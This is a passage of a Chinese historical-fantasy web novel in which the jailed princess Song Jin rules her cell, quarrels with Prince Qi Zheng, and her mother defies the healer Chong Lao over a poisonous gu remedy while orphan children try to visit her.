宋锦站在他们身后,看着他们皆高大的背影,嘴角不自觉扬起,然后脱口而出 “若就是我做的呢?” 两人僵住 宋锦哈哈大笑起来,伸手拍着他俩的肩膀,把他们拉到后面,眉眼张扬 “逗你们的,我行得正坐得端,怕什么?走一趟就走一趟,反正,你们应该不能严刑逼供我吧?” 宋锦瞅向几人,强调:“这可得提前说好,配合归配合,挨打,我可是有后台的” 李献苦笑:“给我八条命我也不敢啊” 他今天动刑,明天就该被动脑袋了 宋锦放心,摆了摆手:“那就够了,走吧,我这辈子还没体验过牢房呢” 李献:“……郡主放心,牢房已经好好收拾过了” 宋锦挑眉:“还算有点眼力见” 李献:…… 不得不说,就宋锦这模样,谁看得出她之前是个村姑啊? 这比都城大部分贵女都会用权用势 宋行之和宋慎之看着宋锦还有些兴奋的脸,也不知道该欣慰还是郁闷 能不能有点危机感啊? 但是事已至此,宋行之上前:“晚上别睡太死,注意虫蛇,也别吃别人给的任何东西,我们会轮流给你送去” 宋锦:“行,多送点糕点水果哈” 宋行之有些沉重的心都散了大半,无奈:“放心,不会缺你吃的,至于日用,我让丫鬟给你收拾一会儿送过去。去了里面,你也别怕,事情不是你做的,我们倾尽全力,也会让你安然出来” 宋锦看着他关怀的想起,想起他平日风流浪子吊儿郎当的样子,凤眸一转,再次问 “若真是我做的呢?” 宋行之把手上折扇按到她手中,也认真道:“那也不会是你做的” 说着,他趁着宋锦怔愣间,伸手揉了揉她的脑袋,又迅速退开,笑道:“牢中蚊虫众多,便用它挡虫子吧” 宋锦捏着手中偏重的折扇,请哼一声,只道:“替我看好我娘,记得明日带她去拿药” 宋行之郑重:“小妹不用担心,接下来几日,我们会把老郎中请入府中为夫人看病,确保万无一失” 宋锦放下心来,再看了一眼那边紧闭的房门,冲着李献点了点下巴 “行了,走吧,我倒是也想知道那兄弟俩为什么要污蔑我” 李献又冲着宋行之和宋慎之行了行礼,就带着宋锦回去衙门盘问对峙 这一来,少则两日,多则七八日 看似时间不长,但那可是监牢啊,便是弄再好,那滋味也不是一般人能享受的 宋行之和宋慎之一路跟到外面,看着宋锦跟着李献他们上了马车回去审问,两人的脸色都说不上好 宋慎之沉沉:“我去找人跟进去,尽快解决这事。” 宋行之习惯性挥挥扇子,但手中空空只有凉风,他抚了抚竖起的汗毛,看着前方的车马,目光冰冷 他点了点头,轻声:“天凉了,金玉阁也换个名头吧” 第86章 占牢为王 永安城应天府的府衙监狱不比刑狱寺深幽,各方面都要热闹许多 无奈,侯巧荷被谋杀的事涉及郡主,最终还是刑狱寺接手此事,和应天府一起合作破案 不过这破案吧,说的简单,真破起来就有点头疼了,哪哪都是问题 首先,这桩案子人证物证俱在,不管是因还是果都直接指向了明光郡主宋锦 再有戴元宏戴元华兄弟俩冒死指正,那戴元华哭得眼睛都肿成青蛙,要不是他们拦着,几次都想撞墙以死明志也要为母报仇了 谁能说他是污蔑的? 更何况侯巧荷已死,他们还能杀了亲母,就为了陷害宋锦? 这也不是没有可能 但是他们实在找不出其他破案方式了,只能从这个方向出来 毕竟宋锦,绝对不是凶手 刑狱寺督查樊文柏看着桌上另一个人证的证词,愁得脑袋上皱纹都新起一条了 他拿起一边的红印按下,嘘气:“都城最近怎么怪事一出是一出呢” 李献看着那边消失的高大背影,再看看证词上横横竖竖端正但没有半点笔锋的木头字,叹气 “哪儿是都城最近事多?分明是宋首辅一出事,妖魔鬼怪就冒出来了,若是首辅还在” 那些乱七八糟的人哪里敢冒头啊,更别说直接对他女儿出手了 樊文柏沉默一会儿,唏嘘:“虽然宋首辅行事专制,做事不留情面,心狠手辣” 李献面无表情地看了过去 樊文柏讪讪:“行吧,忘了你爹娘父母都因他才活了。不提那些,宋大人确实非凡,唉,只可惜” 李献看着这个好友,道:“你说宋大人有没有可能还活着?” 樊文柏叹气:“未见尸体,那自然是有可能的” 只是那么久了,若真的还活着,从不露面,只怕也凶多吉少 李献不愿去想这个可能 那年他家乡爆发洪灾,粮食被淹,粮食大减,又恰逢前朝增税,山匪糟乱 是年仅十六的宋商带着他们一路往北,给他们全家一条活路,也是他在他们被盗匪袭击时一箭将其射杀,以雷霆手段镇压了搅浑水的人 专制吗?狠辣吗? 那都是他们没当过人鱼肉 李献没再多说,而是转到桌上的证词上,敲敲桌子 “别想那么多了,派人去查一查侯家的情况,再着重审一审侯元宏,不论背后之人是什么想法,这侯家,绝对有问题” 说起正事,樊文柏也正色起来:“行,应天府和刑狱寺都安排人下去,就,以宋家施压为由,明查戴元宏,暗查背后之人” 李献没反对,点着证词,郑重道:“背后之人在暗不知有多少人手,这件事除了你我不要和任何人说,但凡有差错,你的前途也到头了” 本来还想和心腹说的樊文柏:“……我知道了” 桌上证词被一点点卷起,尾上是一没有任何锋芒,但方方正正的铮字 能让他们彻底洗清宋锦嫌疑的最大证词,便来自于齐铮 虽然,他的证词也可能作假,但是他掺合进来,真假就已经不重要了,因为这事只能是真的 而实质上也是真的 侯巧荷死去的那夜,宋锦大晚上没事干,又跑到了岐王府骚扰齐铮 两人大晚上先是跑去金铃山练剑,累了就抓两只野鸡烤着吃,顺便喝着小酒 喝着喝着,两人一拍即合 跑去蹿城门去了 两个人仗着武艺高强和多日观察,还真让他们找到空隙跑出去了,再然后,他们又比起了内力,窜到了上杨村后的山林,继续烧烤喝酒聊天 主要是宋锦缠着齐铮说江湖故事 说着说着她就困了,紧接着就睡过头了 宋锦不说这些事,一个是想借此探查侯巧荷后面的那些人,她若直说了,那些人大可又藏起来,继续沉淀等待下一个机会 她就是要打他们一个措手不及,最好能一网打尽 这是主因,再一个就是,就她干的这事,就问光彩吗? 又是喝酒又是闯城门又是睡过头的,哪一样光彩啊 她还是带着人老实王爷干的,宋锦自己都不好意思说,生怕说了到时候被皇上秋后算账 那才惨呢 抱着这种心思,宋锦进牢房进得别提多淡定了 虽说大牢的环境不好,但是她是走后门的特殊待遇,说什么好草坏草的,都是掉她的档次了 她铺的是最顶级的松软棉花,盖的是金贵的蚕丝被,就连床,都被连夜换了张檀木的 弄得就跟进来度假似的 和周边其他人对比过于鲜明,弄得宋锦都有些不好意思了起来 她盘腿坐在蒲团上,把手里的瓜子往旁边一递,看着隔壁女人沧桑但依不掩美丽的女人,好奇 “你是因为什么进来的?” “我没有罪,我只是想给她们一个家” 憔悴的女人抬起头,一脸的忧郁,像是雨中的小白花,可怜又可悲,她轻喃 “贵人,你说,那些个丫头都快被家里打死,整日像是鸡狗一般不歇,我只是想让她们过得好点,我有什么错?” 宋锦磕着瓜子:“所以你是被冤枉的?” 女子凄苦:“我被抓了我认,但是我只是想给那些可怜的孩子一个家,一个更好的未来” “我呸,你个婊子的家才在那些腌臜地方呢,人在家中再苦再累,起码干干净净,有亲人朋友。贵人别信她,这婊子再是下贱不过” 对面的狱中,头发乱糟糟的年轻女人又啐了一声,她搭着腿坐在床板上,明显才睡醒,手一拍,一个虫子尸首分离,她捡起来嚼了嚼 曾几何时,宋锦也是吃虫子的人,但是现在嘛,她看着那女人的样子,从旁边拿了一块糕点扔过去 “给你” 女人立马喜笑颜开,捡起来往嘴里塞,囫囵下肚,口齿不清:“谢贵人,贵人可别被那贱人骗了,那贱人装模作样,干的腌臜事,就该被千刀万剐” 憔悴女人被戳破了,恼:“那也比你个杀夫杀子的毒妇好,贵人你也别被她骗了,她杀夫杀子,还放火烧家,连累家中仆从数人,甚至烧了隔壁房子,连累隔壁孩童重伤,她才是最毒妇人心” 鸡窝头女子眼神一黯,随即回道:“那又如何?我砍头也认,不似你个婊子” 人牙子尖叫:“我又没杀人,我为什么要砍头?” 鸡窝头大笑:“按律,当斩,当斩” …… 两个人吵了起来,宋锦听得津津有味,然后走到旁边,冲着尖叫的人贩子勾了勾手 那人立马走了过来,可怜道:“贵人,我真的是无辜的啊,我只是想给他们一个家” 宋锦点头:“我懂我懂,我也想给你一个家” 人牙子眼睛一亮,赶紧凑到宋锦手边,一脸讨好:“贵人当真?” 宋锦眉头一挑:“自然当真” 说着,她一手攥住人牙子的头发,扯着人直接往铁架子上砸去 哐哐当当,伴随着人牙子的惨叫声 宋锦一本正经:“我家里还差个奏乐的,我觉得你这声音就挺合适的” 人牙子没一会儿就一脸的血,疯狂挣扎着哀嚎:“救命,杀人了杀人了……” 宋锦打了个哈欠,一个用力把人砸晕,声音中止,她把人甩到一边,拿出手绢擦了擦手 对面的鸡窝头女人目瞪口呆,就连旁边那些原本目光闪烁的人也收起了心思 贵人虽然有可能救命,但是这位看着更像能给她们就地正法,还是闭嘴为好 但是她们闭嘴了,宋锦还没闭,她目光所到之处,伸手一指 “来来来,你来说说你犯了什么事” …… 今日的女牢有些格外安静 陪同的狱卒小心翼翼:“大人莫看都是些女犯柔弱,能到刑狱寺的各个都是手头好几条人命的凶恶之徒,只待案子判完行刑” 身侧的人没有说话,他沉默地走在阴湿的狱道中,带着沉闷的步子,走到中间的位置上 只见那一片灰暗的牢房之中唯独最中间的位置一抹亮,靛蓝色的蚕丝被褥,榆木的小床小桌…… 至于被担心着的当事人,此刻就趴在小床上,晃着脚,悠闲地看着话本,时不时拈两颗糖球,悠闲得跟在家里似的 听到动静她一个扭头,扣上书就跳了下来,凤眸像是烛火一般,声音轻快 “你来啦?我还以为你避嫌了呢” 齐铮瞥见她手上斑驳的血渍,再瞥向旁边狱中不成人样的血人,沉声 “她欺负你了?” 宋锦一愣,随后咧嘴笑:“怎么可能,就是看她不爽,我还能被人欺负?” 齐铮绷着脸:“都到这里面了” “那可不一样,我这是为了,为了”宋锦反驳着反驳着,突然脸色一变,低声,“别告诉我你是来接我的” 这人嘴怎么那么快啊,她才进来一会儿就直接秃噜完了?她自己都不说不是明摆着有别的想法嘛 宋锦瞪人,磨牙:“脑子一点都不转” 齐铮没说话,盯着她手间的斑驳,侧头对着狱卒:“把钥匙给我,去打壶干净的清水过来” 狱卒迟疑:“这,这不合规” 齐铮没有多言,伸手夺过他腰侧的钥匙,找到编号直接开锁 狱卒纠结再三,看着齐铮那冷肃的脸,到底不敢上前夺回,只得听话退去 随着咔擦一声,狱门门锁解开 宋锦忍不住调侃:“怎么?岐王要带我逃狱?” 齐铮瞥了她一眼,打开牢门进去,又当着她的面,咔一下重新锁上 逃狱什么的,那是不可能的 宋锦白眼:“不是,你有什么在外面不能说,非要过来和我挤这小房间” 齐铮淡淡:“我乐意” 宋锦被他噎了一下:“都说近墨者黑,你这黑得也太快了吧” 齐铮瞥了瞥她,在她的小蒲团上坐下,相当反客为主了 宋锦无语,叉着腰,抬脚嚣张地踩在他膝盖上:“你是来气我的吧?” 齐铮看着她光裸的脚丫子,皱起眉头:“不凉?” 宋锦:“还行吧,不对,别转移话题,你和他们全都说了?” 齐铮颔首,就见宋锦一副崩溃的模样,扑过来掐住他的脖子,咬牙切齿:“你可真行,一点事都藏不住,气死我算了” 齐铮按住她的手,顺着巧劲直接把人按到,钳着她的手,轻声:“你才是行,不管你娘有什么旧日恩怨,背后又有什么谋策,都不能越过朝廷” 宋锦神色微恼,反身攥住他的胳膊,一只手将其束住,一只手攥住他的胸口,磨牙:“你懂什么?” 她娘这些年受的苦已经太多了,眼看着练蛊在即,生死关头之际,那些已经过去的乱七八糟的事情凭什么再来扰她? 不提那些往事,她也能把那些人弄死 她在这里待着,只要她不认罪,那边就治不上她,那就只有继续动作,而外有宋家人盯着,只要他们一动 她便能反将一军 现在全无了 若是无意还勉强没那么气人,偏这人一看就是 特意的 宋锦气得恨不得一口上去,她也真就咬了,就着攥着人的姿势,她一口咬在最近的左肩上 齐铮一贯冷肃的脸微变,他立马挣开她的束缚,想要把人拉来 但宋锦早有准备,被他挣扎开后就直接环住他的脖子,口上力道也跟着加重 两个人紧紧贴在一起,越是挣扎,身体上的摩擦越大 齐铮伸手想把人推开,下一秒却是触火一般收回手,有些不知所措 他皱着眉头,低头看着肩颈处的黑脑袋,感受着伤口的刺痛,嗅着若隐若无的鲜血味 眸色微微暗下,随后便卸了力由着她闹 他这一停,宛如鱼肉一般,倒是让宋锦没了什么劲,磨了磨牙,嘴里一股子血腥味 她抬起脑袋,舔了舔嘴角的血渍,歪着脑袋看着微微蹙眉的齐铮,又凑了过去 “喂,你对谁都这么好脾气呢?” 一通打闹下来,宋锦此刻蹲坐在齐铮的身上,半环着他的脖子,整个人可以说是缩在他的怀里,脑袋一凑近,温热的呼吸打在他的耳垂上 齐铮绷着身子,神情忍耐,沉声:“除了你,也无人敢这么张狂” 宋锦挑着眉,伸手点着他肩上的伤口,刻意地磨着牙:“这就叫张狂了?” 齐铮脸色沉了下去,目光带上厉色 宋锦瞪起眼,挺起胸 齐铮却一个起身,出其不意地将她从身上摔了下来,扔到她软绵绵的床上,然后解锁开门关门 整个动作行云流水,不带一点拖泥带水 宋锦错愕爬起来,没好气地冲他比了个中指:“演还是你会演” 齐铮没吭声,站在牢房外面整理被弄乱的衣物,不过一会儿,那边离开的狱卒拎着一壶干净水过来 他颔首:“出去吧” 刚过来的狱卒:“……” 等到人离开了,齐铮也没在开门,在铁栏外面蹲下身,拿出手绢浸水:“过来” 宋锦撇了撇嘴,顶着疯闹过后乱糟糟的头发,慢吞吞走了过来:“干嘛?” 齐铮瞥她,低声:“手” 宋锦瞅瞅他瞅瞅那水桶,一屁股蹲在地上,把手放了过去,嘀咕:“瞎讲究” 齐铮不语,捏着她的手,低下头给她擦洗着手上残留的血渍 ‘刑狱寺和应天府探案能力非同一般,这件事交给他们处理最为合适,他们心知此事蹊跷,并不会对外说’ 宋锦低头,不情不愿地用内力传回去:‘万一呢?’ 齐铮:‘万一又如何?你真以为能把背后之人一网打尽?’ 宋锦不服:‘不试试看怎么知道?’ 齐铮难得嘲笑:‘就凭你蹲大牢?他们就全都冲上来了?’ 宋锦恼怒地反手一巴掌 齐铮淡定接住手,继续:‘这事他们会好好查的,你在里面注意安全,别信任何人,别吃任何东西,小心虫蛇,烛光草料……’ 又是一阵唠唠叨叨 宋锦难得好脾气的听他用内力说完,一双手也被擦得干干净净 齐铮抬头,开口:“我就回去了,你好好呆着,过不了两天就能还你清白,送你出去” 宋锦蔫着脑袋:“知道,你出去替我看看我娘,她明日得吃药” 齐铮应声:“知道,不用担心” 宋锦点了点头,蔫着脑袋:“那你走吧” 齐铮看着她那乱糟糟而更显得毛茸茸的头发,指节微动,抬手覆上,轻轻搓了搓 宋锦一巴掌过去,瞪眼:“摸狗呢?一边儿去,回你的岐王府耍猴去” 上次的那只金丝猴到底还是被送到了宋府,但是宋锦不能养,真给黄黄察觉到了,那虎也不会老老实实呆在山里的 思前想后,宋锦就把猴子送给齐铮了,反正他那边也大,养个猴子很简单 又挨了一巴掌,齐铮轻瞥宋锦,淡淡道:“猴子哪有你好玩?” 好家伙 她一个伸手,齐铮浅浅避开,手上拿着钥匙退开几步,嘴角微扬:“明日来看你,走了” 宋锦呲牙:“别来了,我看你就是来气我的” 齐铮黑漆漆的眸子看着她炸毛样,难得笑了一下,也没有立刻走开,就蹲在那儿,拉开肩上的衣服 他身形高大,肩膀更是宽阔,上面的肌肉十分结实,线条流畅又好看,并不夸张,却满是力量感 而现在,完美的线条上一个完整的牙印落下,在上面十分明显 那牙印颇深,周边血迹斑斑,深一点的位置血液涌动,沾湿大片衣料 牙口主人宋锦摸了摸鼻子,舌尖下意识舔了舔唇,上面还有些残留的血腥味 她心虚:“干嘛?别想我给你擦,男女授受不亲知道吗?” 齐铮合上衣服,淡定道:“只是给你看看” 说着,他拎起小桶,迈着步子缓缓离开,那背影高大,衬得手中的木桶像是玩具一般 宋锦趴在牢房门口瞅着他,又摸了摸自己干干净净的手,压着上扬的唇角,嘀咕:“傻兮兮的,瞎掺和什么呢” 就像她说的,大晚上跑去翻城墙,说出去真不是个光彩事,甚至于真要计较起来,也不是个小事情 他一个王爷,周边麻烦不比她这头少,没必要掺合进来 毕竟,少了他的证词,也不影响这桩案子的发展,她有很多法子脱身 那背后的人,算计是一堆堆的,但是就是跟那恶毒的小孩子一般,粗劣无聊 不愧是商户出生 宋锦啧了一声,想到那日侯巧荷写的于字,在心中嗤笑,眉眼尽是戾气 江南于家 便是百年大家,富可敌国又如何? 若不是她娘治疗要紧,她还能更简单粗暴 直接上门灭了他们就是 现在她愿意耐心配合调察收集证据,他们就偷着乐吧,等她没耐心了 都给她去死 …… 这边,齐铮走出了刑狱寺,外面已是黄昏时候 秋日寒凉,晚风更是沁骨 他看着在另一旁站立的单薄身影,大步走了过去,关怀:“外面湿冷,夫人应在车内等待” 牛铁兰脸色有些白,她摇了摇头:“无事,我带着手炉的,金金她,没事吧?” 齐铮停顿片刻,道:“生龙活虎,占牢为王” 牛铁兰的担忧转为无语,哭笑不得:“这死丫头,到哪儿都最显眼” 齐铮轻声安抚:“这样极好” 牛铁兰神色黯了下去,喃喃:“是啊,挺好的,她一个人在哪里都过得好,哪儿需要人担心啊” 见她这般,齐铮眉头微皱,接道:“别人担心无用,于郡主而言,有夫人您担心就够了” 牛铁兰苦笑着摇头:“她自小主意大,哪有什么需要我担心的?这样也好,你说,能让她在里面关上十天吗?” 齐铮:“……便是郡主无罪,越狱也是大忌” 牛铁兰十日后练蛊之事,他也知晓 牛铁兰:“关不住?” 齐铮摇头 牛铁兰脸上浮现遗憾之色 齐铮无奈:“郡主先前还嘱咐我明日陪您去看病,她很是挂念您” 牛铁兰眸色淡了下来,她轻声:“是该去看一看” 齐铮:“夫人切莫多想,明日一早我便接您去看病,您一切以身体为重,思虑过多对身体不好” “是啊,思虑过多对身体不好,你一个外,一个年轻人都知道的事,他……” 牛铁兰说着说着,眸色一点点冷了下去,声音轻不可闻 “明日看病便不麻烦殿下了,还是让人亲自前来看吧” 第87章 活人还是活虫 “你们这些个蠢蛋傻子,发什么疯呢?老子是虫吗?啊,一个麻袋就给我装里面了,我看你们是想死!!!” 平日安静的宋府里,此刻传来一阵巨吼 一矮五高在亭子里对峙 虫老本来在自己的阁楼待得好好的,哪想到一个转身就被押到了宋府,看着面前五个人中龙凤、风采不同的孩子,他想也不想,跳起来就一个人给了一个重重的巴掌,中气十足大吼 兄弟几个做了亏心事,任由他个小老头跳起来打脑袋,疼得呲牙咧嘴,不敢多说一句 他们不似宋锦 这虫老身形 怪异,和宋商关系斐然,他们自然不会和人对着干的,就是挨了打,那也得好好挨着 更别说他们理亏在前 宋锦的事情肯定有问题,他们暂时也不知道出手的人是谁,他们也没有宋锦那高强度武艺,生怕出一点差错 几个人就打算先把虫老请过来住几天给牛铁兰看病 但是这老头不干 虫老在阁楼里住了十来年了,不到深夜不下楼,整个人就是阴暗虫子的生活,才不管你谁是谁,他都费那么大功夫做药练蛊了,还不能不出门吗? 他强烈拒绝了几人的请求,试图把人赶走,然后就被一麻袋套到了这儿 虫老快被他们几个蠢货给气死了,撩着袖子就是打,看着跟那小矮人似的,但是打人哐哐的,生疼生疼 宋行之等人一开始还老实挨打,后面实在有些受不了了,就把宋清之给推了出去 养兽堂就是宋清之和虫老合伙的,两个人占了最多的份额,所以两人关系是最好的,虽然也只是相对于其他人而言 宋清之挨的打一点不比其他人轻,脑门上都多出了个包 他捂着脑袋,哀嚎:“别打了别打了,老头,这不是迫不得已嘛,你就不能体谅体谅?” 虫老暴怒:“我体谅你爹的体谅,几个可以去当虫料的蠢货,你们把我弄过来了,你去弄药?还是你,还是你啊” 宋清之耷着绿眸子,摸摸鼻子,豪气万丈:“你说说需要哪些,我派人去搜” 虫老呵呵一笑:“木哨虫的翅膀、大牙虫的牙齿……” 不等他说完,宋清之果断认怂:“我这就送您回去” 虫老呵呵冷笑,又跑上去给兄弟五个一人两脚,等到总算出了气了,他转头看向全程坐在一旁静气喝茶的牛铁兰 从兄弟五个的口中,他也知道宋锦出事了 虽然对那没大没小的死丫头很有意见,听到这消息还有些幸灾乐祸,但是虫老对牛铁兰还是很有好感的 她恬静、聪颖又坚韧,还有一个强大的心脏——不然也忍不了那么一对父女,更重要的是,此后要进行的练蛊 失败不说,一旦成功,她便能毫无阻拦地接受蛊族全部的传承,从另一种意义来说,她会是蛊族的下一任蛊女 从各方面来看,虫老对她都很看重,态度对比其他人也天差地别 虫老不太习惯地安慰:“那丫头胆大命大,肯定没事的” 牛铁兰小口啜茶:“我不担心她” 她只是生气 虫老又道:“那就好,那我们走吧,你也该吃药了” 牛铁兰轻轻抬头:“去哪儿?” 虫老:“去我那儿开药,还有几日就月圆了,正是紧要关头” 牛铁兰轻讽:“是吗?紧要关头啊” 虫老:“很紧要,你忍一忍,至于安全,有老头在,不用担心” 牛铁兰淡淡:“不忍,不去” 虫老:“哈?” 牛铁兰放下茶杯,抬头看着他,声音轻轻,又十分强硬:“不去,我这些天就在家里呆着,哪儿也不去” 虫老好一会儿才反应过来,伸手指着自己:“你不去,让我过来?” 牛铁兰轻瞥:“爱来不来” 虫老气得跳脚:“是你要看病,你爱吃不吃,死得反正不是我” 牛铁兰轻飘飘:“随意” 虫老气得眼珠子都黑了,瞪着牛铁兰,咬着牙:“随意就随意,反正我的东西都在阁楼里,你爱来不来,我可和你说好,这药,你今天不吃,明天吃就没用了” 说这,他再次强调:“没用了” 牛铁兰缓缓起身,她身形单薄,姿态轻盈,一双杏眸莹莹,恬静又温雅,却又坚定而强硬,她轻飘飘行了个礼,拖着裙摆施施然离开 和黑脸跳脚的虫老形成鲜明对比 “好好好,是你自己不要命的,跟老头我没有关系,你爱来不来,爱喝不喝,要死就死,跟我老虫没有半点关系,没有半点……” 只有十岁孩童大小的虫老跳得跟个球似的,狠话放了几个箩筐 也不过一个午睡的功夫,等到牛铁兰再次醒来,就看到下人们一个个小心抬着木箱,端着木盘虫蛇走在走廊中 上午还十分硬气的虫老端着熬好的药气冲冲走了过来,狠狠放在石桌上,瞪着眼磨着牙:“来吧,趁热喝,给我一口喝完” 他老虫真是横是一条虫,卧是一条草,趴就两个字 命苦 牛铁兰看着虫老那气得快要冒烟的模样,目光移动,落在他被削掉的胡须上,垂了垂眸,看着那碗漆黑药,都不用放到嘴边,那股熟悉的气味已经冲入鼻息,血腥味比起之前也越发浓烈起来 她睫毛轻颤,端起药碗,刺鼻的味道再次袭来,浓烈而恶心,但是比起之前,又隐约有了几分不同,似乎多加了五种药材 在虫老的目光下,牛铁兰端着药放在嘴边,黑色药物放到嘴边,随后轻轻落地 哐当一声,顺着她的衣服落到地上,刺鼻的气味绷发出来,药水撒过的草地,像是中了毒一般,一点点蔫了下去,冒着青烟 虫老已经捂着心口了:“你,你,你干什么?你是要气死我是不是?” 牛铁兰看着迅速干枯的草,轻飘飘:“手滑了,重新弄一碗吧” 虫老:“你以为是大白菜吗?随便给你弄,我去哪里弄,我看你是真的不想活了……” 说着他原地转起了圈圈,气得头发都爆了起来,看起来是之前的两倍大 头大脚小个子矮,鹤发童颜小老头 牛铁兰又看向被药水杀死的枯草,手抚向日渐平缓的心脏,看向虫老:“你多少岁了” 虫老拔头发,没好气:“看不出来吗?老头我今年一百八十九了,你要是弄好了也可以,怎么这么不听话啊,好好地吃药不好,哎呀,你知道那些药多珍贵吗?气死虫了气死虫了” 牛铁兰不太奇怪,继续抚着心口,轻轻道:“所以我现在是活人还是活,虫?” 虫老停了下来,冷笑:“能活着就好了,是人是虫重要吗?再说了,你见过谁家虫子会说话的?” 牛铁兰伸手指指他:“你” 虫老:“我倒是想当虫子,虫能活几百上千年呢,老虫我,你就庆幸你是今年来的,再过几年,你就等死吧” 牛铁兰没在说话,手指点在心口上,能清楚地感受着里面红线蛊地回应 她们逐渐融为一体,不似之前只是简单侵占 这可不是红线蛊被驯服的原因,而是她的身体被改造了,不然也喝不下那剧毒的药 从一开始,她就没有选择的余地 这人也不似表现出来的那般 牛铁兰放下手,再次起身,然后一脚踢开旁边的碎碗,轻描淡写:“有点困,回去睡了” 虫老瞪眼:“睡?你还有心思睡?现在药都没了你怎么办,真不要命了” 牛铁兰轻飘飘的:“这不是还有你吗?再说,就像你之前说的,练蛊的风险这么高,我都要死了,还不能多休息休息?” 虫老捂胸:“你你你” 牛铁兰一言不发,轻抚去衣服上药渣,淡定地转身离去 留下虫老原地成虫,气得扑道一边的草地上扭曲翻滚,去掉人形,真像极了虫子。他滚了一身的灰站起来,冲过去跳起来就给站一边的五兄弟一人一巴掌 “看看看,看个屁的看,不知道过来帮忙,一个个废物玩意儿,宋商那小子养你们吃白饭的吗?人也看不好,劝也劝不了,活也不会干,废物,大废物,一窝的废物虫……” 兄弟五个:…… 就说他们冤不冤吧 ** 宋府里,兄弟五个挨打 宋府外几个小崽子堆成一团 “这样不好吧?” “挨打,疼疼” …… 福哥宁宁看着那叠在一起的花花和胜哥,很是心惊胆战 这可是宋府啊,宋府,传说中杀人步数,连花都是用人血浇灌,人尸上肥的大奸臣的府邸 福哥和宁宁从小在都城长大,没少听到关于宋商的传言,就是宋锦助了他们许多,是歹竹下的好笋,但是也不能掩盖大奸臣的可怕啊 两个人抱在一起瑟瑟发抖,相比之下,自小在育婴堂长大的花花和胜哥胆子大了不只一点,两个人就跟耍杂技似的,胜哥踩在木凳子上,小花则踩在他的肩膀上,这一套对于他们两个从小学武的人来说不要太简单了 花花稳稳站着,手抱在胸前,轻哼:“才不会,大人是好人,他给我们育婴堂捐钱,让我们不挨饿,是天下上最好的人,肯定不会打我们的” 胜哥:“就是,首辅大人是大好人” 花花又道:“虽然郡主有点坏” 上次害得他们几个受罚 宁宁反驳:“郡主,好好” 花花轻哼:“郡主坏坏” 宁宁大声:“郡主,好” 花花抠耳朵:“郡主坏” …… 两个人一个站在地上,一个搭在半空,就这样又开始争吵了起来 这是她们两这段时间的日常 福哥和胜哥都有些头疼,两个人赶紧劝说哄人 胜哥:“好了好了,别闹了,忘了我们过来是干什么的?” 福哥:“小心把人引过来我们就完了” 也是说什么来什么,说着就有人朝着这边走了过来 福哥脸色一变,下意识抱起宁宁就跑 胜哥和小花愣了一下,也火速跳了下来,牵着手跟着跑开 因着心虚的缘故,四个人埋头就跑,一个跑得比一个快,但凡身边还有一个人都没安全感,绕着小路一直跑,直到周边再无一个人来,他们坐在石阶上,靠着后面的大门,喘着大气 小花:“你们俩,不讲义气” 宁宁奶声奶气:“我们,是孤儿啦” 遇到事情直接跑,那是他们的生存准则 小花瞪眼:“我们还是孤儿呢” 宁宁:“我们还是小乞丐哒” 小花鼓嘴:“反正不讲义气” …… 眼看着好两个人又吵起来了,福哥和胜哥已经不想说话了,看着对面和自己年岁相仿的人,咧起嘴,异口同声:“你很厉害啊” 胜哥笑:“我三岁就开始习武了,你竟然能和我跑一样” 福哥挠挠脑袋:“我从小在街上乞讨,一有风吹草动就跑” 胜哥:“风吹草动?你识字?” 福哥不好意思:“有时候会去私塾偷看” 胜哥抱拳:“真厉害,我最讨厌看书了” …… 四个人坐在那儿你吵你的,我说我的,直到门后的人听不下去了,打开了门 四个靠在门上的崽子顺着倒地,对上一张面无表情的脸 完啦 胜哥福哥拔腿就跑,跑到一半发现少了两个崽,再一回头 小花和宁宁被拎在那里 两个人跑不动了,耷着脑袋跑了回来,齐齐跪地哭嚎:“大人我们知道错了,你放了我们妹妹吧……” 李青山头疼 这些小崽子叽叽喳喳的听着头疼,再一看是熟崽子就更头疼了,他把人放了下来,没好气道:“别装模作样了,你们四个在这里干什么?” 李青山现在是齐铮的贴身侍卫,大部分时间都跟在身边,那日去上杨村山里逮小花胜哥的时候他在,后面中秋灯会放花灯他还在,所以四个孩子都眼熟 四个孩子也记得他 李青山是自己考上的武官,身材高大不说,一张脸也端正硬朗,身侧常佩长剑,走在外面也是一表人才,英俊青年 小花看着他,眼珠子一转,想要跑 倒是宁宁,呆呆看着他,然后爬起来上前抱住他的腿,奶声奶气:“找郡主,叔叔,带宁宁看郡主好不好” 李青山低头,看着她奶呼呼的小模样,伸手戳了戳她的脸蛋 这小崽子不大,要求倒是挺高的 他哪有那个本事啊 李青山:“郡主无事,你们不用担心,回去等着就是了” 说这,他把宁宁拎了起来,从兜里掏出个大钱塞她手里,示意几个小崽子离开 但是他什么都不说还好,这一说一给的,四个人精目光对视,下一秒纷纷扑到他的身上 “求大人了” “带我们看看郡主” “大人最心善了” 身上挂了四个崽子的李青山:…… 真是人善被崽欺啊 但是几个孩子实在缠人,李青山又不敢用力,最后只能妥协:“我替你们问一问” 四个人眼巴巴看着他 李青山又叹气:“好吧,我带你们去问” 四个人立马开心了起来 他们也是这会儿才知道跑到了王府这边,不同于其他地方,王府最近的守卫增强了不少,里面守卫森严,每个院子都有带刀侍卫 几个小崽子哪里见过这种世面啊,进来之前还兴冲冲的,进来之后,四个人搂在一起,缩着脑袋,目不斜视,紧紧跟在李青山身后,生怕落下一步就被抓走砍了 这些个侍卫已经很可怕了,高大冷肃的齐铮更甚 李青山带着四个孩子来到齐铮这儿,和他说了缘由,转头一看,就见到刚才还胆大缠人紧抓着他不放大四个孩子现在就跟落汤鸡似的,在那里瑟瑟发抖,一句话不敢多说 他有话想说了:“刚才不还胆子大吗?现在不说话了?” 小花立马瞪他 典型的欺软怕硬 宁宁脾气好,胆子也小,抬着脑袋瞅一下缩一下再瞅一下缩一缩 齐铮低头看着他们几个,问:“你们想去看她?” 四个人赶紧点脑袋 齐铮颔首:“那走吧” 四个人:“啊?” 这么快的吗?他们话都还没有想好呢 齐铮疑惑:“怎么?还有别的?” 四个人疯狂摇头 齐铮也没想多的,和一旁的李青山道:“让后厨多准备些东西” 李青山:“是” …… 作为王爷,齐铮拥有的特权超乎一般人的想象,只不过他之前很少动用 现在探个监而已,守门的人根本不敢拦他 他拎着盒饭,像是走在自己家一般,带着四个孩子朝里面走去,不过却没有直接走女监的范围,而是从混监走去,有男有女,有普通平民,也有高官世家 全都是些作恶多端的 他们一个个坐在阴暗狭小的牢狱里面,或面露死色,或狰狞可憎,还有见着人哀嚎求饶的 几个小崽子被吓得打着哆嗦,一个拉着一个,走得小心翼翼,生怕被他们生出来的手拉住 